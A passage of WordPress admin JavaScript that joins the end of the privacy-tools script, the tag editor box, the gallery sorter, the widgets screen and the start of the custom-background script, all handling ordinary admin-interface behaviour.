generated.")),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(t(o,s+1)):setTimeout(function(){p(e.data)},500)}).fail(function(e,t,a){setTimeout(function(){p(a)},500)})}(1,1)}),v(".remove-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".remove-personal-data"),r=t.parents("tr"),a=r.find(".erasure-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("erasers-count"),u=!1,p=!1,m=[];function f(){var e=h("An error occurred while attempting to find and erase personal data.");w(n,"remove-personal-data-failed"),T(r,"notice-error",e,[]),setTimeout(function(){i.removeClass("processing")},500)}function g(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),g(0),w(n,"remove-personal-data-processing"),function a(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-erase-personal-data",eraser:o,id:c,page:s,security:d},method:"post"}).done(function(e){var t=e.data;e.success?(t.items_removed&&(u=u||t.items_removed),t.items_retained&&(p=p||t.items_retained),t.messages&&(m=m.concat(t.messages)),t.done?(g(o),o<l?setTimeout(a(o+1,1)):setTimeout(function(){var e,t;e=h("No personal data was found for this user."),t="notice-success",w(n,"remove-personal-data-success"),!1===u?!1===p?e=h("No personal data was found for this user."):(e=h("Personal data was found for this user but was not erased."),t="notice-warning"):!1===p?e=h("All of the personal data found for this user was erased."):(e=h("Personal data was found for this user but some of the personal data found was not erased."),t="notice-warning"),T(r,t,e,m),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(a(o,s+1))):setTimeout(function(){f()},500)}).fail(function(){setTimeout(function(){f()},500)})}(1,1)}),v(document).on("click",function(e){var t,a,e=v(e.target),o=e.siblings(".success");if(clearTimeout(r),e.is("button.privacy-text-copy")&&(t=e.closest(".privacy-settings-accordion-panel")).length)try{var s=document.documentElement.scrollTop,n=document.body.scrollTop;window.getSelection().removeAllRanges(),a=document.createRange(),t.addClass("hide-privacy-policy-tutorial"),a.selectNodeContents(t[0]),window.getSelection().addRange(a),document.execCommand("copy"),t.removeClass("hide-privacy-policy-tutorial"),window.getSelection().removeAllRanges(),0<s&&s!==document.documentElement.scrollTop?document.documentElement.scrollTop=s:0<n&&n!==document.body.scrollTop&&(document.body.scrollTop=n),o.addClass("visible"),wp.a11y.speak(h("The suggested policy text has been copied to your clipboard.")),r=setTimeout(function(){o.removeClass("visible")},3e3)}catch(e){}}),v("body.options-privacy-php label[for=create-page]").on("click",function(e){e.preventDefault(),v("input#create-page").trigger("focus")}),v(".privacy-settings-accordion").on("click",".privacy-settings-accordion-trigger",function(){"true"===v(this).attr("aria-expanded")?(v(this).attr("aria-expanded","false"),v("#"+v(this).attr("aria-controls")).attr("hidden",!0)):(v(this).attr("aria-expanded","true"),v("#"+v(this).attr("aria-controls")).attr("hidden",!1))})});/**
 * @output wp-admin/js/tags-box.js
 */

/* jshint curly: false, eqeqeq: false */
/* global ajaxurl, tagBox, array_unique_noempty */

( function( $ ) {
	var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ',';

	/**
	 * Filters unique items and returns a new array.
	 *
	 * Filters all items from an array into a new array containing only the unique
	 * items. This also excludes whitespace or empty values.
	 *
	 * @since 2.8.0
	 *
	 * @global
	 *
	 * @param {Array} array The array to filter through.
	 *
	 * @return {Array} A new array containing only the unique items.
	 */
	window.array_unique_noempty = function( array ) {
		var out = [];

		// Trim the values and ensure they are unique.
		$.each( array, function( key, val ) {
			val = val || '';
			val = val.trim();

			if ( val && $.inArray( val, out ) === -1 ) {
				out.push( val );
			}
		} );

		return out;
	};

	/**
	 * The TagBox object.
	 *
	 * Contains functions to create and manage tags that can be associated with a
	 * post.
	 *
	 * @since 2.9.0
	 *
	 * @global
	 */
	window.tagBox = {
		/**
		 * Cleans up tags by removing redundant characters.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} tags Comma separated tags that need to be cleaned up.
		 *
		 * @return {string} The cleaned up tags.
		 */
		clean : function( tags ) {
			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' );
			}

			tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');

			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( /,/g, tagDelimiter );
			}

			return tags;
		},

		/**
		 * Parses tags and makes them editable.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The tag element to retrieve the ID from.
		 *
		 * @return {boolean} Always returns false.
		 */
		parseTags : function(el) {
			var id = el.id,
				num = id.split('-check-num-')[1],
				taxbox = $(el).closest('.tagsdiv'),
				thetags = taxbox.find('.the-tags'),
				current_tags = thetags.val().split( tagDelimiter ),
				new_tags = [];

			delete current_tags[num];

			// Sanitize the current tags and push them as if they're new tags.
			$.each( current_tags, function( key, val ) {
				val = val || '';
				val = val.trim();
				if ( val ) {
					new_tags.push( val );
				}
			});

			thetags.val( this.clean( new_tags.join( tagDelimiter ) ) );

			this.quickClicks( taxbox );
			return false;
		},

		/**
		 * Creates clickable links, buttons and fields for adding or editing tags.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 *
		 * @return {void}
		 */
		quickClicks : function( el ) {
			var thetags = $('.the-tags', el),
				tagchecklist = $('.tagchecklist', el),
				id = $(el).attr('id'),
				current_tags, disabled;

			if ( ! thetags.length )
				return;

			disabled = thetags.prop('disabled');

			current_tags = thetags.val().split( tagDelimiter );
			tagchecklist.empty();

			/**
			 * Creates a delete button if tag editing is enabled, before adding it to the tag list.
			 *
			 * @since 2.5.0
			 *
			 * @memberOf tagBox
			 *
			 * @param {string} key The index of the current tag.
			 * @param {string} val The value of the current tag.
			 *
			 * @return {void}
			 */
			$.each( current_tags, function( key, val ) {
				var listItem, xbutton;

				val = val || '';
				val = val.trim();

				if ( ! val )
					return;

				// Create a new list item, and ensure the text is properly escaped.
				listItem = $( '<li />' ).text( val );

				// If tags editing isn't disabled, create the X button.
				if ( ! disabled ) {
					/*
					 * Build the X buttons, hide the X icon with aria-hidden and
					 * use visually hidden text for screen readers.
					 */
					xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' +
						'<span class="remove-tag-icon" aria-hidden="true"></span>' +
						'<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' +
						'</button>' );

					/**
					 * Handles the click and keypress event of the tag remove button.
					 *
					 * Makes sure the focus ends up in the tag input field when using
					 * the keyboard to delete the tag.
					 *
					 * @since 4.2.0
					 *
					 * @param {Event} e The click or keypress event to handle.
					 *
					 * @return {void}
					 */
					xbutton.on( 'click keypress', function( e ) {
						// On click or when using the Enter/Spacebar keys.
						if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) {
							/*
							 * When using the keyboard, move focus back to the
							 * add new tag field. Note: when releasing the pressed
							 * key this will fire the `keyup` event on the input.
							 */
							if ( 13 === e.keyCode || 32 === e.keyCode ) {
 								$( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' );
 							}

							tagBox.userAction = 'remove';
							tagBox.parseTags( this );
						}
					});

					listItem.prepend( '&nbsp;' ).prepend( xbutton );
				}

				// Append the list item to the tag list.
				tagchecklist.append( listItem );
			});

			// The buttons list is built now, give feedback to screen reader users.
			tagBox.screenReadersMessage();
		},

		/**
		 * Adds a new tag.
		 *
		 * Also ensures that the quick links are properly generated.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 * @param {Object|boolean} a When this is an HTML element the text of that
		 *                           element will be used for the new tag.
		 * @param {number|boolean} f If this value is not passed then the tag input
		 *                           field is focused.
		 *
		 * @return {boolean} Always returns false.
		 */
		flushTags : function( el, a, f ) {
			var tagsval, newtags, text,
				tags = $( '.the-tags', el ),
				newtag = $( 'input.newtag', el );

			a = a || false;

			text = a ? $(a).text() : newtag.val();

			/*
			 * Return if there's no new tag or if the input field is empty.
			 * Note: when using the keyboard to add tags, focus is moved back to
			 * the input field and the `keyup` event attached on this field will
			 * fire when releasing the pressed key. Checking also for the field
			 * emptiness avoids to set the tags and call quickClicks() again.
			 */
			if ( 'undefined' == typeof( text ) || '' === text ) {
				return false;
			}

			tagsval = tags.val();
			newtags = tagsval ? tagsval + tagDelimiter + text : text;

			newtags = this.clean( newtags );
			newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter );
			tags.val( newtags );
			this.quickClicks( el );

			if ( ! a )
				newtag.val('');
			if ( 'undefined' == typeof( f ) )
				newtag.trigger( 'focus' );

			return false;
		},

		/**
		 * Retrieves the available tags and creates a tagcloud.
		 *
		 * Retrieves the available tags from the database and creates an interactive
		 * tagcloud. Clicking a tag will add it.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} id The ID to extract the taxonomy from.
		 *
		 * @return {void}
		 */
		get : function( id ) {
			var tax = id.substr( id.indexOf('-') + 1 );

			/**
			 * Puts a received tag cloud into a DOM element.
			 *
			 * The tag cloud HTML is generated on the server.
			 *
			 * @since 2.9.0
			 *
			 * @param {number|string} r The response message from the Ajax call.
			 * @param {string} stat The status of the Ajax request.
			 *
			 * @return {void}
			 */
			$.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) {
				if ( 0 === r || 'success' != stat ) {
					return;
				}

				r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' );

				/**
				 * Adds a new tag when a tag in the tagcloud is clicked.
				 *
				 * @since 2.9.0
				 *
				 * @return {boolean} Returns false to prevent the default action.
				 */
				$( 'a', r ).on( 'click', function() {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( '#' + tax ), this );
					return false;
				});

				$( '#' + id ).after( r );
			});
		},

		/**
		 * Track the user's last action.
		 *
		 * @since 4.7.0
		 */
		userAction: '',

		/**
		 * Dispatches an audible message to screen readers.
		 *
		 * This will inform the user when a tag has been added or removed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		screenReadersMessage: function() {
			var message;

			switch ( this.userAction ) {
				case 'remove':
					message = wp.i18n.__( 'Term removed.' );
					break;

				case 'add':
					message = wp.i18n.__( 'Term added.' );
					break;

				default:
					return;
			}

			window.wp.a11y.speak( message, 'assertive' );
		},

		/**
		 * Initializes the tags box by setting up the links, buttons. Sets up event
		 * handling.
		 *
		 * This includes handling of pressing the enter key in the input field and the
		 * retrieval of tag suggestions.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @return {void}
		 */
		init : function() {
			var ajaxtag = $('div.ajaxtag');

			$('.tagsdiv').each( function() {
				tagBox.quickClicks( this );
			});

			$( '.tagadd', ajaxtag ).on( 'click', function() {
				tagBox.userAction = 'add';
				tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
			});

			/**
			 * Handles pressing enter on the new tag input field.
			 *
			 * Prevents submitting the post edit form. Uses `keypress` to take
			 * into account Input Method Editor (IME) converters.
			 *
			 * @since 2.9.0
			 *
			 * @param {Event} event The keypress event that occurred.
			 *
			 * @return {void}
			 */
			$( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) {
				if ( 13 == event.which ) {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
					event.preventDefault();
					event.stopPropagation();
				}
			}).each( function( i, element ) {
				$( element ).wpTagsSuggest();
			});

			/**
			 * Before a post is saved the value currently in the new tag input field will be
			 * added as a tag.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('#post').on( 'submit', function(){
				$('div.tagsdiv').each( function() {
					tagBox.flushTags(this, false, 1);
				});
			});

			/**
			 * Handles clicking on the tag cloud link.
			 *
			 * Makes sure the ARIA attributes are set correctly.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('.tagcloud-link').on( 'click', function(){
				// On the first click, fetch the tag cloud and insert it in the DOM.
				tagBox.get( $( this ).attr( 'id' ) );
				// Update button state, remove previous click event and attach a new one to toggle the cloud.
				$( this )
					.attr( 'aria-expanded', 'true' )
					.off()
					.on( 'click', function() {
						$( this )
							.attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' )
							.siblings( '.the-tagcloud' ).toggle();
					});
			});
		}
	};
}( jQuery ));
/*! This file is auto-generated */
jQuery(function(n){var o=!1,e=function(){n("#media-items").sortable({items:"div.media-item",placeholder:"sorthelper",axis:"y",distance:2,handle:"div.filename",stop:function(){var e=n("#media-items").sortable("toArray"),i=e.length;n.each(e,function(e,t){e=o?i-e:1+e;n("#"+t+" .menu_order input").val(e)})}})},t=function(){var e=n(".menu_order_input"),t=e.length;e.each(function(e){e=o?t-e:1+e;n(this).val(e)})},i=function(e){e=e||0,n(".menu_order_input").each(function(){"0"!==this.value&&!e||(this.value="")})};n("#asc").on("click",function(e){e.preventDefault(),o=!1,t()}),n("#desc").on("click",function(e){e.preventDefault(),o=!0,t()}),n("#clear").on("click",function(e){e.preventDefault(),i(1)}),n("#showall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").hide(),n("a.describe-toggle-off, table.slidetoggle").show(),n("img.pinkynail").toggle(!1)}),n("#hideall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").show(),n("a.describe-toggle-off, table.slidetoggle").hide(),n("img.pinkynail").toggle(!0)}),e(),i(),1<n("#media-items>*").length&&(e=wpgallery.getWin(),n("#save-all, #gallery-settings").show(),void 0!==e.tinyMCE&&e.tinyMCE.activeEditor&&!e.tinyMCE.activeEditor.isHidden()?(wpgallery.mcemode=!0,wpgallery.init()):n("#insert-gallery").show())}),window.tinymce=null,window.wpgallery={mcemode:!1,editor:{},dom:{},is_update:!1,el:{},I:function(e){return document.getElementById(e)},init:function(){var e,t,i,n,o=this,l=o.getWin();if(o.mcemode){for(e=(""+document.location.search).replace(/^\?/,"").split("&"),t={},i=0;i<e.length;i++)n=e[i].split("="),t[unescape(n[0])]=unescape(n[1]);t.mce_rdomain&&(document.domain=t.mce_rdomain),window.tinymce=l.tinymce,window.tinyMCE=l.tinyMCE,o.editor=tinymce.EditorManager.activeEditor,o.setup()}},getWin:function(){return window.dialogArguments||opener||parent||top},setup:function(){var e,t,i,n=this,o=n.editor;if(n.mcemode){if(n.el=o.selection.getNode(),"IMG"!==n.el.nodeName||!o.dom.hasClass(n.el,"wpGallery")){if(!(i=o.dom.select("img.wpGallery"))||!i[0])return"1"===getUserSetting("galfile")&&(n.I("linkto-file").checked="checked"),"1"===getUserSetting("galdesc")&&(n.I("order-desc").checked="checked"),getUserSetting("galcols")&&(n.I("columns").value=getUserSetting("galcols")),getUserSetting("galord")&&(n.I("orderby").value=getUserSetting("galord")),void jQuery("#insert-gallery").show();n.el=i[0]}i=o.dom.getAttrib(n.el,"title"),(i=o.dom.decode(i))?(jQuery("#update-gallery").show(),n.is_update=!0,o=i.match(/columns=['"]([0-9]+)['"]/),e=i.match(/link=['"]([^'"]+)['"]/i),t=i.match(/order=['"]([^'"]+)['"]/i),i=i.match(/orderby=['"]([^'"]+)['"]/i),e&&e[1]&&(n.I("linkto-file").checked="checked"),t&&t[1]&&(n.I("order-desc").checked="checked"),o&&o[1]&&(n.I("columns").value=""+o[1]),i&&i[1]&&(n.I("orderby").value=i[1])):jQuery("#insert-gallery").show()}},update:function(){var e=this,t=e.editor,i="";e.mcemode&&e.is_update?"IMG"===e.el.nodeName&&(i=(i=t.dom.decode(t.dom.getAttrib(e.el,"title"))).replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,""),i+=e.getSettings(),t.dom.setAttrib(e.el,"title",i),e.getWin().tb_remove()):(t="[gallery"+e.getSettings()+"]",e.getWin().send_to_editor(t))},getSettings:function(){var e=this.I,t="";return e("linkto-file").checked&&(t+=' link="file"',setUserSetting("galfile","1")),e("order-desc").checked&&(t+=' order="DESC"',setUserSetting("galdesc","1")),3!==e("columns").value&&(t+=' columns="'+e("columns").value+'"',setUserSetting("galcols",e("columns").value)),"menu_order"!==e("orderby").value&&(t+=' orderby="'+e("orderby").value+'"',setUserSetting("galord",e("orderby").value)),t}};/*! This file is auto-generated */
!function(w){var l=w(document);window.wpWidgets={hoveredSidebar:null,dirtyWidgets:{},init:function(){var r,o,g=this,d=w(".widgets-chooser"),s=d.find(".widgets-chooser-sidebars"),e=w("div.widgets-sortables"),c=!("undefined"==typeof isRtl||!isRtl);w("#widgets-right .sidebar-name").on("click",function(){var e=w(this),i=e.closest(".widgets-holder-wrap "),t=e.find(".handlediv");i.hasClass("closed")?(i.removeClass("closed"),t.attr("aria-expanded","true"),e.parent().sortable("refresh")):(i.addClass("closed"),t.attr("aria-expanded","false")),l.triggerHandler("wp-pin-menu")}).find(".handlediv").each(function(e){0!==e&&w(this).attr("aria-expanded","false")}),w(window).on("beforeunload.widgets",function(e){var i,t=[];if(w.each(g.dirtyWidgets,function(e,i){i&&t.push(e)}),0!==t.length)return(i=w("#widgets-right").find(".widget").filter(function(){return-1!==t.indexOf(w(this).prop("id").replace(/^widget-\d+_/,""))})).each(function(){w(this).hasClass("open")||w(this).find(".widget-title-action:first").trigger("click")}),i.first().each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(),w(this).find(".widget-inside :tabbable:first").trigger("focus")}),e.returnValue=wp.i18n.__("The changes you made will be lost if you navigate away from this page."),e.returnValue}),w("#widgets-left .sidebar-name").on("click",function(){var e=w(this).closest(".widgets-holder-wrap");e.toggleClass("closed").find(".handlediv").attr("aria-expanded",!e.hasClass("closed")),l.triggerHandler("wp-pin-menu")}),w(document.body).on("click.widgets-toggle",function(e){var i,t,d,a,s,n,r=w(e.target),o={},l=r.closest(".widget").find(".widget-top button.widget-action");r.parents(".widget-top").length&&!r.parents("#available-widgets").length?(t=(i=r.closest("div.widget")).children(".widget-inside"),d=parseInt(i.find("input.widget-width").val(),10),a=i.parent().width(),n=t.find(".widget-id").val(),i.data("dirty-state-initialized")||((s=t.find(".widget-control-save")).prop("disabled",!0).val(wp.i18n.__("Saved")),t.on("input change",function(){g.dirtyWidgets[n]=!0,i.addClass("widget-dirty"),s.prop("disabled",!1).val(wp.i18n.__("Save"))}),i.data("dirty-state-initialized",!0)),t.is(":hidden")?(250<d&&a<d+30&&i.closest("div.widgets-sortables").length&&(o[i.closest("div.widget-liquid-right").length?c?"margin-right":"margin-left":c?"margin-left":"margin-right"]=a-(d+30)+"px",i.css(o)),l.attr("aria-expanded","true"),t.slideDown("fast",function(){i.addClass("open")})):(l.attr("aria-expanded","false"),t.slideUp("fast",function(){i.attr("style",""),i.removeClass("open")}))):r.hasClass("widget-control-save")?(wpWidgets.save(r.closest("div.widget"),0,1,0),e.preventDefault()):r.hasClass("widget-control-remove")?wpWidgets.save(r.closest("div.widget"),1,1,0):r.hasClass("widget-control-close")?((i=r.closest("div.widget")).removeClass("open"),l.attr("aria-expanded","false"),wpWidgets.close(i)):"inactive-widgets-control-remove"===r.attr("id")&&(wpWidgets.removeInactiveWidgets(),e.preventDefault())}),e.children(".widget").each(function(){var e=w(this);wpWidgets.appendTitle(this),e.find("p.widget-error").length&&e.find(".widget-action").trigger("click").attr("aria-expanded","true")}),w("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:101,containment:"#wpwrap",refreshPositions:!0,start:function(e,i){var t=w(this).find(".widgets-chooser");i.helper.find("div.widget-description").hide(),o=this.id,t.length&&(w("#wpbody-content").append(t.hide()),i.helper.find(".widgets-chooser").remove(),g.clearWidgetSelection())},stop:function(){r&&w(r).hide(),r=""}}),e.droppable({tolerance:"intersect",over:function(e){var i=w(e.target).parent();wpWidgets.hoveredSidebar&&!i.is(wpWidgets.hoveredSidebar)&&wpWidgets.closeSidebar(e),i.hasClass("closed")&&(wpWidgets.hoveredSidebar=i).removeClass("closed").find(".handlediv").attr("aria-expanded","true"),w(this).sortable("refresh")},out:function(e){wpWidgets.hoveredSidebar&&wpWidgets.closeSidebar(e)}}),e.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"#wpwrap",tolerance:"pointer",refreshPositions:!0,start:function(e,i){var t=w(this),d=t.parent(),a=i.item.children(".widget-inside");"block"===a.css("display")&&(i.item.removeClass("open"),i.item.find(".widget-top button.widget-action").attr("aria-expanded","false"),a.hide(),w(this).sortable("refreshPositions")),d.hasClass("closed")||(a=i.item.hasClass("ui-draggable")?t.height():1+t.height(),t.css("min-height",a+"px"))},stop:function(e,i){var t,d,a,s,i=i.item,n=o;wpWidgets.hoveredSidebar=null,i.hasClass("deleting")?(wpWidgets.save(i,1,0,1),i.remove()):(t=i.find("input.add_new").val(),d=i.find("input.multi_number").val(),i.attr("style","").removeClass("ui-draggable"),o="",t&&("multi"===t?(i.html(i.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,d)})),i.attr("id",n.replace("__i__",d)),d++,w("div#"+n).find("input.multi_number").val(d)):"single"===t&&(i.attr("id","new-"+n),r="div#"+n),wpWidgets.save(i,0,0,1),i.find("input.add_new").val(""),l.trigger("widget-added",[i])),(n=i.parent()).parent().hasClass("closed")&&(n.parent().removeClass("closed").find(".handlediv").attr("aria-expanded","true"),1<(a=n.children(".widget")).length)&&(a=a.get(0),s=i.get(0),a.id)&&s.id&&a.id!==s.id&&w(a).before(i),t?i.find(".widget-action").trigger("click"):wpWidgets.saveOrder(n.attr("id")))},activate:function(){w(this).parent().addClass("widget-hover")},deactivate:function(){w(this).css("min-height","").parent().removeClass("widget-hover")},receive:function(e,i){i=w(i.sender);-1<this.id.indexOf("orphaned_widgets")?i.sortable("cancel"):-1<i.attr("id").indexOf("orphaned_widgets")&&!i.children(".widget").length&&i.parents(".orphan-sidebar").slideUp(400,function(){w(this).remove()})}}).sortable("option","connectWith","div.widgets-sortables"),w("#available-widgets").droppable({tolerance:"pointer",accept:function(e){return"widget-list"!==w(e).parent().attr("id")},drop:function(e,i){i.draggable.addClass("deleting"),w("#removing-widget").hide().children("span").empty()},over:function(e,i){i.draggable.addClass("deleting"),w("div.widget-placeholder").hide(),i.draggable.hasClass("ui-sortable-helper")&&w("#removing-widget").show().children("span").html(i.draggable.find("div.widget-title").children("h3").html())},out:function(e,i){i.draggable.removeClass("deleting"),w("div.widget-placeholder").show(),w("#removing-widget").hide().children("span").empty()}}),w("#widgets-right .widgets-holder-wrap").each(function(e,i){var i=w(i),t=i.find(".sidebar-name h2").text()||"",d=i.find(".sidebar-name").data("add-to"),i=i.find(".widgets-sortables").attr("id"),a=w("<li>"),d=w("<button>",{type:"button","aria-pressed":"false",class:"widgets-chooser-button","aria-label":d}).text(t.toString().trim());a.append(d),0===e&&(a.addClass("widgets-chooser-selected"),d.attr("aria-pressed","true")),s.append(a),a.data("sidebarId",i)}),w("#available-widgets .widget .widget-top").on("click.widgets-chooser",function(){var e=w(this).closest(".widget"),i=w(this).find(".widget-action"),t=s.find(".widgets-chooser-button");e.hasClass("widget-in-question")||w("#widgets-left").hasClass("chooser")?(i.attr("aria-expanded","false"),g.closeChooser()):(g.clearWidgetSelection(),w("#widgets-left").addClass("chooser"),e.addClass("widget-in-question").children(".widget-description").after(d),d.slideDown(300,function(){i.attr("aria-expanded","true")}),t.on("click.widgets-chooser",function(){s.find(".widgets-chooser-selected").removeClass("widgets-chooser-selected"),t.attr("aria-pressed","false"),w(this).attr("aria-pressed","true").closest("li").addClass("widgets-chooser-selected")}))}),d.on("click.widgets-chooser",function(e){e=w(e.target);e.hasClass("button-primary")?(g.addWidget(d),g.closeChooser()):e.hasClass("widgets-chooser-cancel")&&g.closeChooser()}).on("keyup.widgets-chooser",function(e){e.which===w.ui.keyCode.ESCAPE&&g.closeChooser()})},saveOrder:function(e){var i={action:"widgets-order",savewidgets:w("#_wpnonce_widgets").val(),sidebars:[]};e&&w("#"+e).find(".spinner:first").addClass("is-active"),w("div.widgets-sortables").each(function(){w(this).sortable&&(i["sidebars["+w(this).attr("id")+"]"]=w(this).sortable("toArray").join(","))}),w.post(ajaxurl,i,function(){w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length),w(".spinner").removeClass("is-active")})},save:function(t,d,a,s){var n=this,r=t.closest("div.widgets-sortables").attr("id"),e=t.find("form"),i=t.find("input.add_new").val();(d||i||!e.prop("checkValidity")||e[0].checkValidity())&&(i=e.serialize(),t=w(t),w(".spinner",t).addClass("is-active"),e={action:"save-widget",savewidgets:w("#_wpnonce_widgets").val(),sidebar:r},d&&(e.delete_widget=1),i+="&"+w.param(e),w.post(ajaxurl,i,function(e){var i=w("input.widget-id",t).val();d?(w("input.widget_number",t).val()||w("#available-widgets").find("input.widget-id").each(function(){w(this).val()===i&&w(this).closest("div.widget").show()}),a?(s=0,t.slideUp("fast",function(){w(this).remove(),wpWidgets.saveOrder(),delete n.dirtyWidgets[i]})):(t.remove(),delete n.dirtyWidgets[i],"wp_inactive_widgets"===r&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length))):(w(".spinner").removeClass("is-active"),e&&2<e.length&&(w("div.widget-content",t).html(e),wpWidgets.appendTitle(t),t.find(".widget-control-save").prop("disabled",!0).val(wp.i18n.__("Saved")),t.removeClass("widget-dirty"),delete n.dirtyWidgets[i],l.trigger("widget-updated",[t]),"wp_inactive_widgets"===r)&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length)),s&&wpWidgets.saveOrder()}))},removeInactiveWidgets:function(){var e,i=w(".remove-inactive-widgets"),t=this;w(".spinner",i).addClass("is-active"),e={action:"delete-inactive-widgets",removeinactivewidgets:w("#_wpnonce_remove_inactive_widgets").val()},e=w.param(e),w.post(ajaxurl,e,function(){w("#wp_inactive_widgets .widget").each(function(){var e=w(this);delete t.dirtyWidgets[e.find("input.widget-id").val()],e.remove()}),w("#inactive-widgets-control-remove").prop("disabled",!0),w(".spinner",i).removeClass("is-active")})},appendTitle:function(e){var i=(i=w('input[id*="-title"]',e).val()||"")&&": "+i.replace(/<[^<>]+>/g,"").replace(/</g,"&lt;").replace(/>/g,"&gt;");w(e).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(i)},close:function(e){e.children(".widget-inside").slideUp("fast",function(){e.attr("style","").find(".widget-top button.widget-action").attr("aria-expanded","false").focus()})},addWidget:function(e){var i,e=e.find(".widgets-chooser-selected").data("sidebarId"),e=w("#"+e),t=w("#available-widgets").find(".widget-in-question").clone(),d=t.attr("id"),a=t.find("input.add_new").val(),s=t.find("input.multi_number").val();t.find(".widgets-chooser").remove(),"multi"===a?(t.html(t.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,s)})),t.attr("id",d.replace("__i__",s)),s++,w("#"+d).find("input.multi_number").val(s)):"single"===a&&(t.attr("id","new-"+d),w("#"+d).hide()),e.closest(".widgets-holder-wrap").removeClass("closed").find(".handlediv").attr("aria-expanded","true"),e.append(t),e.sortable("refresh"),wpWidgets.save(t,0,0,1),t.find("input.add_new").val(""),l.trigger("widget-added",[t]),d=(a=w(window).scrollTop())+w(window).height(),(i=e.offset()).bottom=i.top+e.outerHeight(),(a>i.bottom||d<i.top)&&w("html, body").animate({scrollTop:i.top-130},200),window.setTimeout(function(){t.find(".widget-title").trigger("click"),window.wp.a11y.speak(wp.i18n.__("Widget has been added to the selected sidebar"),"assertive")},250)},closeChooser:function(){var e=this,i=w("#available-widgets .widget-in-question");w(".widgets-chooser").slideUp(200,function(){w("#wpbody-content").append(this),e.clearWidgetSelection(),i.find(".widget-action").attr("aria-expanded","false").focus()})},clearWidgetSelection:function(){w("#widgets-left").removeClass("chooser"),w(".widget-in-question").removeClass("widget-in-question")},closeSidebar:function(e){this.hoveredSidebar.addClass("closed").find(".handlediv").attr("aria-expanded","false"),w(e.target).css("min-height",""),this.hoveredSidebar=null}},w(function(){wpWidgets.init()})}(jQuery),wpWidgets.l10n=wpWidgets.l10n||{save:"",saved:"",saveAlert:"",widgetAdded:""},wpWidgets.l10n=window.wp.deprecateL10nObject("wpWidgets.l10n",wpWidgets.l10n,"5.5.0");/**
 * @output wp-admin/js/custom-background.js
 */

/* global ajaxurl */

/**
 * Registers all events for customizing the background.
 *
 * @since 3.0.0
 *
 * @requires jQuery
 */
(function($) {
	$( function() {
		var frame,
			bgImage = $( '#custom-background-image' );

		/**
		 * Instantiates the WordPress color picker and binds the change and clear events.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		$('#background-color').wpColorPicker({
			change: function( event, ui ) {
				bgImage.css('background-color', ui.color.toString());
			},
			clear: function() {
				bgImage.css('background-color', '');
			}
		});

		/**
		 * Alters the background size CSS property whenever the background size input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'select[name="background-size"]' ).on( 'change', function() {
			bgImage.css( 'background-size', $( this ).val() );
		});

		/**
		 * Alters the background position CSS property whenever the background position input has changed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-position"]' ).on( 'change', function() {
			bgImage.css( 'background-position', $( this ).val() );
		});

		/**
		 * Alters the background repeat CSS property whenever the background repeat input has changed.
		 *
		 * @since 3.0.0
		 *
		 * @return {void}
		 */
		$( 'input[name="background-repeat"]' ).on( 'change',  function() {
